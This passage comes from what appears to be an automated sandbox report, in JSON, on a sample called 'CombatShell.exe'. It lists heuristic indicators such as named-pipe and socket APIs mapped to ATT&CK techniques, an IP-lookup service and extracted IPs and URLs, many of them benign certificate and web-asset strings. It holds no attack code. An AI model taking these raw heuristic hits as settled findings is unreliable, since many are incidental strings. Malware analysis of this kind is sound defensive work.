\"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetNamedPipeInfo\" (Indicator: \"GetNamedPipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"CreateNamedPipeW\" (Indicator: \"CreateNamedPipe\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetNamedPipeInfo\" (Indicator: \"GetNamedPipe\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"ConnectNamedPipe\" (Indicator: \"ConnectNamedPipe\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"ConnectNamedPipe\" (Indicator: \"ConnectNamedPipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateNamedPipeW\" (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetNamedPipeInfo\" (Indicator: \"GetNamedPipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1559","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1559","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-419","type":2,"relevance":1,"name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"CombatShell.exe\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"CombatShell.exe\")","Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1571","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1571","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-14","type":2,"relevance":0,"name":"Found potential IP address in binary/memory","description":"\"3.87.95.10\"\n \"64.124.12.162\"\n \"192.168.0.2\"\n \"2.5.29.19\"\n \"2.5.29.17\"\n \"2.5.29.32\"\n \"2.5.29.31\"\n \"2.5.29.15\"\n \"2.5.29.1\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.4.3\"","description_v2":["\"3.87.95.10\"","\"64.124.12.162\"","\"192.168.0.2\"","\"2.5.29.19\"","\"2.5.29.17\"","\"2.5.29.32\"","\"2.5.29.31\"","\"2.5.29.15\"","\"2.5.29.1\"","Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"","\"2.5.4.3\""],"description_v3":[{"type":"text","value":"\"3.87.95.10\""},{"type":"linebreak"},{"type":"text","value":"\"64.124.12.162\""},{"type":"linebreak"},{"type":"text","value":"\"192.168.0.2\""},{"type":"linebreak"},{"type":"text","value":"\"2.5.29.19\""},{"type":"linebreak"},{"type":"text","value":"\"2.5.29.17\""},{"type":"linebreak"},{"type":"text","value":"\"2.5.29.32\""},{"type":"linebreak"},{"type":"text","value":"\"2.5.29.31\""},{"type":"linebreak"},{"type":"text","value":"\"2.5.29.15\""},{"type":"linebreak"},{"type":"text","value":"\"2.5.29.1\""},{"type":"linebreak"},{"type":"text","value":"Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\""},{"type":"linebreak"},{"type":"text","value":"\"2.5.4.3\""}],"origin":"File/Memory","attck_id":"T1071","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-3","type":2,"relevance":3,"name":"Found potential URL in binary/memory","description":"$42","description_v2":["Pattern match: \"http://www.google.com/get/noto/http://www.monotype.com/studiothis\"","Heuristic match: \"api.ipify.org\"","Heuristic match: \"get / http/1.1accept: */*host: api.ipify.org\"","Heuristic match: \"data.rel.ro\"","Heuristic match: \"uc .vc\"","Heuristic match: \"ay5~cz.ma\"","Heuristic match: \"ipify.org\"","Heuristic match: \"*.ipify.org\"","Pattern match: \"www.digicert.com1\"","Heuristic match: \"*b.ps\"","Pattern match: \"it.com/r/gifs\"","Pattern match: \"ww.reddit.com/r/gifs\"","Pattern match: \"www.microsoft.com/pkiops/docs/repository.htm\"","Pattern match: \"www.digicert.com1+0\"","Pattern match: \"www.verisign.com/cps\"","Pattern match: \"https://www.verisign.com/cps04\"","Pattern match: \"http://crl.verisign.com/pca3.crl0\"","Pattern match: \"https://api.ipify.org/\"","Heuristic match: \"*h.com\"","Pattern match: \"www.digicert.com1!0\"","Pattern match: \"http://logo.verisign.com/vslogo.gif0\"","Pattern match: \"img-s-msn-com.akamaized.net/tenant/amp/entityid/aadtrdx.img,title:linkedin,tilesource:-5,url:https://www.linkedin.com?trk=msn-top,direction:ltr,badge:null,adlabeltype:topsiteadtxtsmall,contextmenulabel:more\"","Pattern match: \"img-s-msn-com.akamaized.net/tenant/amp/entityid/aachsdq.img,title:netflix,tilesource:-5,url:https://www.netflix.com/,direction:ltr,badge:null,adla\"","Pattern match: \"img-s-msn-com.akamaized.net/tenant/amp/entityid/aa15kyc7.img,title:reddit,tilesource:-5,url:https://www.reddit.com,d\"","Pattern match: \"https://www.microsoft.com\"","Pattern match: \"www.microsoft.com\"","Heuristic match: \"<_https://ntp.msn.com\"","Pattern match: \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronl\"","Pattern match: \"http://img-s-msn-com.akamaized.net/tenant/amp/entityid/aa1i5tad.img}],enablerecommendedsites:true,recommendedsites:[{locationindex:7,title:following,url:https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feedd\"","Pattern match: \"https://ntp.msn.com\"","Pattern match: \"https://github.com\"","Pattern match: \"https://github.githubassets.com/assets/wp-runtime-49d3289a7284.js,vendors-node_modules_dompurify_dist_purify_js.js:https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-810e4b1b9abd.js,vendors-node_modules_oddbird_popov\"","Pattern match: \"https://github.githubassets.com/assets/vendors-node_modules_github_text-expander-element_dist_index_js-19ce25503c82.js,vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-af795d.js:https://github.githubassets.c\"","Pattern match: \"crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0\"","Pattern match: \"www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0\"","Pattern match: \"github.githubassets.com/assets/vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_modules_github_hotkey-1a1d91-56e858031112.js,vendors-node_modules_color-convert_index_js.js:https://github.githubassets.com/assets/vendors-node_modul\"","Pattern match: \"crl.comodoca.com/aaacertificateservices.crl06\"","Pattern match: \"crl.comodo.net/aaacertificateservices.crl0\"","Pattern match: \"https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_filter--0879fe-e212454b06b8.js,app_assets_modules_github_ref-selector_ts.js:https://github.githubassets.com/assets/app_assets_m\"","Pattern match: \"github.githubassets.com/assets/react-lib-a89cbd87a1e0.js,vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_primer_octicons-react_di-b40d97.js:https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index\"","Pattern match: \"https://github.githubassets.com/assets/vendors-node_modules_clsx_dist_clsx_m_js-node_modules_primer_react_node_modules_primer_octico-c56103-8d7e43c39cbf.js,vendors-node_modules_primer_react_lib-esm_actionlist_index_js.js:https://github.githubassets.com\"","Pattern match: \"https://ntp.msn.com/edge/ntp?feedpivot=folg\"","Pattern match: \"https://www.msn.com/en-us/money?form=antpsfin,faviconurl:cms/api/amp/image/bb1ax8yq}]}},{type:bellcoachmark,properties:{showcoachmark:false,tmpl:prg-no-bellcm-pro\"","Heuristic match: \"s://helpx.adobe.com\"","Heuristic match: \"p.msn.com\"","Pattern match: \"aized.net/tenant/amp/entityid/aa13q6al.img,dom@\"","Pattern match: \"https://ntp.msn@\"","Pattern match: \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feeddisplay=always],faviconurl:http://img-s-msn-com.akamaized.net/tenant/amp/entityid/aa1i5tad.img},{identifierhosts:[https://www.msn.com/en-us/shopping?form=ansbs6\"","Pattern match: \"github.githubassets.com/assets/app_assets_modules_github_onfocus_ts-ui_packages_trusted-types-policies_policy_ts-ui_packages-6fe316-88898a485083.js,github-elements.js:https://github.githubassets.com/assets/github-elements-41a524cdc4d4.js,element-regi\"","Pattern match: \"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_j\"","Pattern match: \"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7b4e1bb6ed01.js,app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-6dea\"","Pattern match: \"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_tooltipv2_tooltip_js-bf3e8e618a5c.js,vendors-node_modules_clsx_dist_clsx_m_js-node_modules_primer_react_node_modules_primer_octico-c56103.js:https://github.githubassets.co\"","Pattern match: \"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_selectpanel_selectpanel_js-84ec020d6084.js,ui_packages_react-core_create-browser-history_ts-ui_packages_safe-storage_safe-storage_ts-ui_-682c2c.js:https://github.githubass\"","Pattern match: \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feeddisplay=always],faviconurl:http://img-s-msn-com.akamaized.net/tenant/amp/entityid/aa1i5tad.img},{identifierhosts:[https://www.msn.com/en-us/money?form=antpsfin\"","Pattern match: \"crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z\"","Pattern match: \"http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07\"","Pattern match: \"http://www.microsoft.com0\"","Pattern match: \"www.digicert.com1$0\"","Pattern match: \"www.insidersurveys.windows.com06\"","Pattern match: \"www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl\"","Pattern match: \"crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0\"","Pattern match: \"www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0\"","Pattern match: \"http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t\"","Pattern match: \"www.microsoft.com/pki/certs/microsoftrootcert.crt0\"","Pattern match: \"http://microsoft.com0\"","Pattern match: \"img-s-msn-com.akamaized.net/tenant/amp/entityid/aao\""],"description_v3":[{"type":"text","value":"Pattern match: \"http://www.google.com/get/noto/http://www.monotype.com/studiothis\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"api.ipify.org\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"get / http/1.1accept: */*host: api.ipify.org\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"data.rel.ro\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"uc .vc\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"ay5~cz.ma\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"ipify.org\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"*.ipify.org\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.digicert.com1\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"*b.ps\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"it.com/r/gifs\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"ww.reddit.com/r/gifs\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.microsoft.com/pkiops/docs/repository.htm\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.digicert.com1+0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.verisign.com/cps\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://www.verisign.com/cps04\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://crl.verisign.com/pca3.crl0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://api.ipify.org/\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"*h.com\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.digicert.com1!0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://logo.verisign.com/vslogo.gif0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"img-s-msn-com.akamaized.net/tenant/amp/entityid/aadtrdx.img,title:linkedin,tilesource:-5,url:https://www.linkedin.com?trk=msn-top,direction:ltr,badge:null,adlabeltype:topsiteadtxtsmall,contextmenulabel:more\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"img-s-msn-com.akamaized.net/tenant/amp/entityid/aachsdq.img,title:netflix,tilesource:-5,url:https://www.netflix.com/,direction:ltr,badge:null,adla\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"img-s-msn-com.akamaized.net/tenant/amp/entityid/aa15kyc7.img,title:reddit,tilesource:-5,url:https://www.reddit.com,d\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://www.microsoft.com\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.microsoft.com\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"<_https://ntp.msn.com\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronl\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://img-s-msn-com.akamaized.net/tenant/amp/entityid/aa1i5tad.img}],enablerecommendedsites:true,recommendedsites:[{locationindex:7,title:following,url:https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feedd\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://ntp.msn.com\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://github.com\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://github.githubassets.com/assets/wp-runtime-49d3289a7284.js,vendors-node_modules_dompurify_dist_purify_js.js:https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-810e4b1b9abd.js,vendors-node_modules_oddbird_popov\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://github.githubassets.com/assets/vendors-node_modules_github_text-expander-element_dist_index_js-19ce25503c82.js,vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-af795d.js:https://github.githubassets.c\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"github.githubassets.com/assets/vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_modules_github_hotkey-1a1d91-56e858031112.js,vendors-node_modules_color-convert_index_js.js:https://github.githubassets.com/assets/vendors-node_modul\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"crl.comodoca.com/aaacertificateservices.crl06\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"crl.comodo.net/aaacertificateservices.crl0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_filter--0879fe-e212454b06b8.js,app_assets_modules_github_ref-selector_ts.js:https://github.githubassets.com/assets/app_assets_m\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"github.githubassets.com/assets/react-lib-a89cbd87a1e0.js,vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_primer_octicons-react_di-b40d97.js:https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://github.githubassets.com/assets/vendors-node_modules_clsx_dist_clsx_m_js-node_modules_primer_react_node_modules_primer_octico-c56103-8d7e43c39cbf.js,vendors-node_modules_primer_react_lib-esm_actionlist_index_js.js:https://github.githubassets.com\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://ntp.msn.com/edge/ntp?feedpivot=folg\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://www.msn.com/en-us/money?form=antpsfin,faviconurl:cms/api/amp/image/bb1ax8yq}]}},{type:bellcoachmark,properties:{showcoachmark:false,tmpl:prg-no-bellcm-pro\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"s://helpx.adobe.com\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"p.msn.com\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"aized.net/tenant/amp/entityid/aa13q6al.img,dom@\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://ntp.msn@\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feeddisplay=always],faviconurl:http://img-s-msn-com.akamaized.net/tenant/amp/entityid/aa1i5tad.img},{identifierhosts:[https://www.msn.com/en-us/shopping?form=ansbs6\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"github.githubassets.com/assets/app_assets_modules_github_onfocus_ts-ui_packages_trusted-types-policies_policy_ts-ui_packages-6fe316-88898a485083.js,github-elements.js:https://github.githubassets.com/assets/github-elements-41a524cdc4d4.js,element-regi\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_j\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7b4e1bb6ed01.js,app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-6dea\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_tooltipv2_tooltip_js-bf3e8e618a5c.js,vendors-node_modules_clsx_dist_clsx_m_js-node_modules_primer_react_node_modules_primer_octico-c56103.js:https://github.githubassets.co\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_selectpanel_selectpanel_js-84ec020d6084.js,ui_packages_react-core_create-browser-history_ts-ui_packages_safe-storage_safe-storage_ts-ui_-682c2c.js:https://github.githubass\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feeddisplay=always],faviconurl:http://img-s-msn-com.akamaized.net/tenant/amp/entityid/aa1i5tad.img},{identifierhosts:[https://www.msn.com/en-us/money?form=antpsfin\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://www.microsoft.com0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.digicert.com1$0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.insidersurveys.windows.com06\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.microsoft.com/pki/certs/microsoftrootcert.crt0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://microsoft.com0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"img-s-msn-com.akamaized.net/tenant/amp/entityid/aao\""}],"origin":"File/Memory","attck_id":"T1071","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"memorydump-2","type":20,"relevance":1,"name":"Found potential URLs in memory dumps","description":"$43","description_v2":["Found URL \"http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://www.verisign.com/cps04*0(0&\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://crl.verisign.com/pca3.crl0quuu\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://api.ipify.org/i0_1tokio-runtime-workert134t241dst044api.ipify.org1919048onuser.op79.op80t343rker54fximporertopenertgete0ertfreepfxexporpy\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://api.ipify.org/ernel32eletese0manifestpreeconspysqgjsty@7\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://logo.verisign.com/vslogo.gif03130$j0_b>mnppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppps://helpx.adobe.comu_sclid%b1b37d46-8d8@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppp.msn.comspvisitsmetadata<_https://ntp.msn@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppaized.net/tenant/amp/entityid/aa13q6al.img\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppmmendedsites\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.comfallbacknavigationres@\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.comlastknownpv1721080261795-_https://ntp.msn.comlastvisuallyreadymarker1721080262612/_https://ntp.msn.comnotification_cache_ls_key\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.comonesvcunitunmodeheader\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.compageversions,\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feeddisplay=always\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://www.msn.com/en-us/shopping?form=ansbs6&srcmodid=topsd&srctmtid=prg-wpo-shp2t4\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://img-s-msn-com.akamaized.net/tenant/amp/entityid/aao0l1\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/github-elements-41a524cdc4d4.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/element-registry-6bb9ae6fd6ef.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_hydro-analytics-client_-7901e7-f8af173502c4.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendors-node_modules_braintree_browser-detection_dist_browser-detection_js-node_modules_stack-68835d-59206c834a41.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_jude-\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7b4e1bb6ed01.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-6deafe-ba6b1a674c75.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/behaviors-2d5e154dd65d.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-2ea61fcc9a71.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/notifications-global-c65a9d55f5bb.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js-878844713bc9.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_button_button_js-83e387^s\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendo1modules_primer_react_lib-esm_formcontrol_formcontrol_js-834a6a5993af.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/notifications-subscriptions-menu-941dd31bc11a.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_dialog_dialog_js-node_modules_primer_react_lib-esm_-af9f6c-a78fe94dbac9.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/keyboard-shortcuts-dialog-a7f7ecf0fc14.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd6'fi\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.comsai_ntp=\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.comseeninterestsfrecount<_https://ntp.msn.comwpo_data_\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/bb1ax8yq.img\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.comstoragetest_page_version\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://www.microsoft.com/pkiops/docs/repository.htm'x\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://www.microsoft.com/pkiops/docs/repository.htmax\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6\" - Source: 